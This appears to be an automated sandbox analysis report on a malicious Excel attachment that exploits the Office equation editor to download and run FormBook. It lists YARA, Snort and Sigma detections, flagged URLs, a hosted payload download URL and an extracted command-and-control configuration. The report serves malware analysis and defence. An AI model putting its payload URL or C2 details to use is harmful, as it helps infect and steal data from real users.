6.2.oktuxvhtsq.exe.260000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.2.oktuxvhtsq.exe.260000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
7.2.oktuxvhtsq.exe.400000.2.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
7.2.oktuxvhtsq.exe.400000.2.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
7.2.oktuxvhtsq.exe.400000.2.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
7.2.oktuxvhtsq.exe.400000.2.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
7.2.oktuxvhtsq.exe.400000.2.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 15 entries

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 41.185.64.155, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 260, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49162

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 260, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\jakatrol2.1[1].exe

Snort Signatures

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.22 - Destination IP: 38.11.36.68

Timestamp:	192.168.2.2238.11.36.6849167802031412 11/14/23-13:28:23.777818
SID:	2031412
Source Port:	49167
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.22 - Destination IP: 91.195.240.19

Timestamp:	192.168.2.2291.195.240.1949166802031412 11/14/23-13:28:02.320328
SID:	2031412
Source Port:	49166
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.22 - Destination IP: 103.224.212.212

Timestamp:	192.168.2.22103.224.212.21249164802031412 11/14/23-13:27:01.556896
SID:	2031412
Source Port:	49164
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.22 - Destination IP: 3.33.130.190

Timestamp:	192.168.2.223.33.130.19049168802031412 11/14/23-13:28:45.165462
SID:	2031412
Source Port:	49168
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.22 - Destination IP: 34.149.87.45

Timestamp:	192.168.2.2234.149.87.4549169802031412 11/14/23-13:29:05.883659
SID:	2031412
Source Port:	49169
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN EXE Download Request To Wordpress Folder Likely Malicious - Source IP: 192.168.2.22 - Destination IP: 41.185.64.155

Timestamp:	192.168.2.2241.185.64.15549162802021697 11/14/23-13:26:24.263209
SID:	2021697
Source Port:	49162
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://www.sxchenggu.com/ge06/www.centralngs.com	Avira URL Cloud: Label: malware
Source: http://www.miamirealestatecommercial.com/ge06/?6l58L2=gDpd64bE+Gog2Ub9xNP+FcNZgu7s+BOO8oofSDr/EnD0mt4NGRW6zjQQOpU+sZp484vtJQ==&BL3=KP-PB41	Avira URL Cloud: Label: malware
Source: http://www.centralngs.com	Avira URL Cloud: Label: malware
Source: http://www.pj69vip12.cyou/ge06/www.miamirealestatecommercial.com	Avira URL Cloud: Label: malware
Source: http://www.bowllywood.com/ge06/www.moderco.net	Avira URL Cloud: Label: malware
Source: http://www.versebuild.xyz/ge06/	Avira URL Cloud: Label: phishing
Source: http://www.sxchenggu.com/ge06/	Avira URL Cloud: Label: malware
Source: http://www.bulgarianarchive.com/ge06/www.hndswicco.best	Avira URL Cloud: Label: malware
Source: http://www.fakeittilyoumakeitfinance.com	Avira URL Cloud: Label: phishing
Source: http://www.fakeittilyoumakeitfinance.com/ge06/	Avira URL Cloud: Label: malware
Source: http://www.narrativepages.com	Avira URL Cloud: Label: malware
Source: http://www.credit-cards-16215.bond	Avira URL Cloud: Label: phishing
Source: http://www.sxchenggu.com	Avira URL Cloud: Label: malware
Source: http://www.hndswicco.best	Avira URL Cloud: Label: malware
Source: http://www.bulgarianarchive.com	Avira URL Cloud: Label: phishing
Source: http://www.sxchenggu.com/ge06/?6l58L2=0+Pk4QqMeOZthSuOlE3hLercqAjKj7AZkI6NQZ8fzlVSI648NH9aZsaxoIAU5h7921vkYw==&BL3=KP-PB41	Avira URL Cloud: Label: malware
Source: http://www.west-paws.com	Avira URL Cloud: Label: phishing
Source: http://www.daqtpt.cfd/ge06/	Avira URL Cloud: Label: malware
Source: http://www.narrativepages.com/ge06/	Avira URL Cloud: Label: malware
Source: http://www.miamirealestatecommercial.com/ge06/www.bowllywood.com	Avira URL Cloud: Label: malware
Source: http://mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shel	Avira URL Cloud: Label: malware
Source: http://www.pj69vip12.cyou	Avira URL Cloud: Label: phishing
Source: http://www.west-paws.com/ge06/www.pj69vip12.cyou	Avira URL Cloud: Label: malware
Source: http://www.west-paws.com/ge06/	Avira URL Cloud: Label: malware
Source: http://www.credit-cards-16215.bond/ge06/	Avira URL Cloud: Label: malware
Source: http://www.miamirealestatecommercial.com	Avira URL Cloud: Label: malware
Source: http://www.centralngs.com/ge06/www.west-paws.com	Avira URL Cloud: Label: malware
Source: http://www.hndswicco.best/ge06/	Avira URL Cloud: Label: malware
Source: http://www.west-paws.com/ge06/?6l58L2=0AfOVuqZSJfRN5GiS/+VmpnTwyRml/2OLwKSVYenXKtwNMi61Jg0OdgGHf2AFfl8gIxxQw==&BL3=KP-PB41	Avira URL Cloud: Label: malware
Source: http://www.bowllywood.com/ge06/	Avira URL Cloud: Label: malware
Source: http://www.moderco.net/ge06/	Avira URL Cloud: Label: malware
Source: http://www.pj69vip12.cyou/ge06/	Avira URL Cloud: Label: malware
Source: http://www.ecoboat.world/ge06/	Avira URL Cloud: Label: malware
Source: http://www.bulgarianarchive.com/ge06/	Avira URL Cloud: Label: malware
Source: http://www.centralngs.com/ge06/	Avira URL Cloud: Label: malware
Source: http://www.centralngs.com/ge06/?6l58L2=STnFDs3dPiWe372IPmsYuoiBxbI3LvhJSNAXi8QejK8uEGpyoTWx2uWpsN+kECUfI/d5Qw==&BL3=KP-PB41	Avira URL Cloud: Label: malware
Source: http://www.credit-cards-16215.bond/ge06/www.versebuild.xyz	Avira URL Cloud: Label: malware
Source: http://www.ecoboat.world/ge06/www.bulgarianarchive.com	Avira URL Cloud: Label: malware
Source: http://www.narrativepages.com/ge06/?6l58L2=/ya+08xkyOEL3z3mbFI+CcZs6Ll5ZIz+eS70dlN8tW9HOdaiVOhFBqrIR4wo06Sw4yKSnA==&BL3=KP-PB41	Avira URL Cloud: Label: malware
Source: http://mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/jakatrol2.1.exe	Avira URL Cloud: Label: malware
Source: http://www.bowllywood.com	Avira URL Cloud: Label: malware
Source: http://www.miamirealestatecommercial.com/ge06/	Avira URL Cloud: Label: malware
Source: http://www.moderco.net/ge06/www.daqtpt.cfd	Avira URL Cloud: Label: malware
Source: http://www.narrativepages.com/ge06/www.credit-cards-16215.bond	Avira URL Cloud: Label: malware
Source: http://www.versebuild.xyz	Avira URL Cloud: Label: malware
Source: http://www.daqtpt.cfd/ge06/www.ecoboat.world	Avira URL Cloud: Label: malware
Source: http://www.hndswicco.best/ge06/www.fakeittilyoumakeitfinance.com	Avira URL Cloud: Label: malware
Source: www.fakeittilyoumakeitfinance.com/ge06/	Avira URL Cloud: Label: malware
Source: http://www.ecoboat.world	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.fakeittilyoumakeitfinance.com/ge06/"], "decoy": ["azaharparis.com", "nationaleventsafety.com", "covesstudy.com", "quinshon4.com", "moderco.net", "trailblazerbaby.com", "time-edu.net", "azeemtourism.com", "anakmedan3.click", "bookinternationaltours.com", "ulksht.top", "newswirex.com", "dingg.net", "waveoflife.pro", "miamirealestatecommercial.com", "rtplive77.xyz", "bowllywood.com", "automation-tools-84162.bond", "booptee.com", "ebx.lat", "gdlongzhong.icu", "seoulbeautytw.com", "bulgarianarchive.com", "pojipoji.com", "mochibees-wylie.com", "ecoboat.world", "eroyfw.top", "centralngs.com", "youtube-manager.site", "eatlust.com", "geutik.cfd", "credit-cards-16215.bond", "lodsoab.com", "jon188.ink", "52iwin.win", "juanmafit.com", "gamemuggaz.com", "oneresi.com", "pj69vip12.cyou", "west-paws.com", "chaineccn.com", "mentiti.com", "modeparisiennefr.com", "skyboxpro.net", "versebuild.xyz", "luxpsy.com", "nivaarnalawgroup.com", "c091627.com", "preppal.shop", "narrativepages.com", "yqsoysy.com", "diverseindiatours.com", "batcavela.com", "ayyp300.top", "daqtpt.cfd", "livers-guardplus.com", "chucobuilt.net", "qianxz109.xyz", "carat-automotive.com", "hndswicco.best", "workwithray.live", "sxchenggu.com", "sanpan010.com", "fufe066.xyz"]}

Multi AV Scanner detection for submitted file

Source: RFQ-T56797W_1.xlsx	ReversingLabs: Detection: 63%
Source: RFQ-T56797W_1.xlsx	Virustotal: Detection: 54%			Perma Link

Yara detected FormBook

Source: Yara match	File source: 7.2.oktuxvhtsq.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.oktuxvhtsq.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.oktuxvhtsq.exe.260000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.oktuxvhtsq.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.420688853.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.420828073.0000000002280000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.849613102.0000000000320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.849597547.00000000002F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Antivirus / Scanner detection for submitted sample

Source: RFQ-T56797W_1.xlsx

Avira: detected

Multi AV Scanner detection for domain / URL

Source: centralngs.com	Virustotal: Detection: 14%	Perma Link
Source: mail.treeoflifeadventures.com	Virustotal: Detection: 17%	Perma Link
Source: www.miamirealestatecommercial.com	Virustotal: Detection: 12%	Perma Link
Source: www.narrativepages.com	Virustotal: Detection: 13%	Perma Link
Source: www.sxchenggu.com	Virustotal: Detection: 12%	Perma Link
Source: www.credit-cards-16215.bond	Virustotal: Detection: 13%	Perma Link
Source: www.centralngs.com	Virustotal: Detection: 13%	Perma Link
Source: www.pj69vip12.cyou	Virustotal: Detection: 12%	Perma Link
Source: www.west-paws.com	Virustotal: Detection: 11%	Perma Link
Source: www.luxpsy.com	Virustotal: Detection: 11%	Perma Link
Source: http://www.centralngs.com	Virustotal: Detection: 13%	Perma Link
Source: http://www.moderco.net	Virustotal: Detection: 8%	Perma Link
Source: http://www.daqtpt.cfd	Virustotal: Detection: 5%	Perma Link
Source: http://www.fakeittilyoumakeitfinance.com	Virustotal: Detection: 13%	Perma Link
Source: http://www.narrativepages.com	Virustotal: Detection: 13%	Perma Link
Source: http://www.credit-cards-16215.bond	Virustotal: Detection: 13%	Perma Link
Source: http://www.hndswicco.best	Virustotal: Detection: 11%	Perma Link
Source: http://www.sxchenggu.com	Virustotal: Detection: 12%	Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe

Joe Sandbox ML: detected

Exploits

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\word.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\word.exe			Jump to behavior

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 41.185.64.155 Port: 80

Jump to behavior

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: chkdsk.pdb source: oktuxvhtsq.exe, 00000007.00000002.420661230.0000000000240000.00000040.10000000.00040000.00000000.sdmp, oktuxvhtsq.exe, 00000007.00000002.420667702.0000000000274000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 0000000A.00000002.849693334.00000000005E0000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: oktuxvhtsq.exe, oktuxvhtsq.exe, 00000007.00000003.411866541.0000000000430000.00000004.00000020.00020000.00000000.sdmp, oktuxvhtsq.exe, 00000007.00000002.420725396.00000000008A0000.00000040.00001000.00020000.00000000.sdmp, oktuxvhtsq.exe, 00000007.00000003.412146879.0000000000590000.00000004.00000020.00020000.00000000.sdmp, oktuxvhtsq.exe, 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, chkdsk.exe, 0000000A.00000003.420901641.0000000001D10000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 0000000A.00000003.421285502.0000000001E70000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 0000000A.00000002.849798315.0000000002180000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\xampp\htdocs\d97f8e9e1ea74988993ee47b9f946ba8\Loader\Release\Loader.pdb source: word.exe, 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmp, word.exe, 00000005.00000002.415689010.0000000002390000.00000004.00000020.00020000.00000000.sdmp, oktuxvhtsq.exe, 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmp, oktuxvhtsq.exe, 00000006.00000000.410185124.000000000042E000.00000002.00000001.01000000.00000006.sdmp, oktuxvhtsq.exe, 00000007.00000000.411311230.000000000042E000.00000002.00000001.01000000.00000006.sdmp, explorer.exe, 00000008.00000002.851097210.000000000870F000.00000004.80000000.00040000.00000000.sdmp, chkdsk.exe, 0000000A.00000002.849622577.00000000003A3000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 0000000A.00000002.850024421.00000000024FF000.00000004.10000000.00040000.00000000.sdmp, oktuxvhtsq.exe.5.dr
Source:	Binary string: D:\xampp\htdocs\d97f8e9e1ea74988993ee47b9f946ba8\Loader\Release\Loader.pdb& source: word.exe, 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmp, word.exe, 00000005.00000002.415689010.0000000002390000.00000004.00000020.00020000.00000000.sdmp, oktuxvhtsq.exe, 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmp, oktuxvhtsq.exe, 00000006.00000000.410185124.000000000042E000.00000002.00000001.01000000.00000006.sdmp, oktuxvhtsq.exe, 00000007.00000000.411311230.000000000042E000.00000002.00000001.01000000.00000006.sdmp, explorer.exe, 00000008.00000002.851097210.000000000870F000.00000004.80000000.00040000.00000000.sdmp, chkdsk.exe, 0000000A.00000002.849622577.00000000003A3000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 0000000A.00000002.850024421.00000000024FF000.00000004.10000000.00040000.00000000.sdmp, oktuxvhtsq.exe.5.dr

Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_00405E93 FindFirstFileA,FindClose,	5_2_00405E93
Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_004054BD DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	5_2_004054BD
Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_00402671 FindFirstFileA,	5_2_00402671
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_004016D0 FindFirstFileW,FindNextFileW,FindClose,	6_2_004016D0
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_0042478A FindFirstFileExW,	6_2_0042478A

Software Vulnerabilities

Shellcode detected

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036BBABB ExitProcess,	2_2_036BBABB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036BBA9B WinExec,ExitProcess,	2_2_036BBA9B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036BB92B LoadLibraryW,URLDownloadToFileW,	2_2_036BB92B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036BBA50 URLDownloadToFileW,	2_2_036BBA50
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036BB953 URLDownloadToFileW,	2_2_036BB953

Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
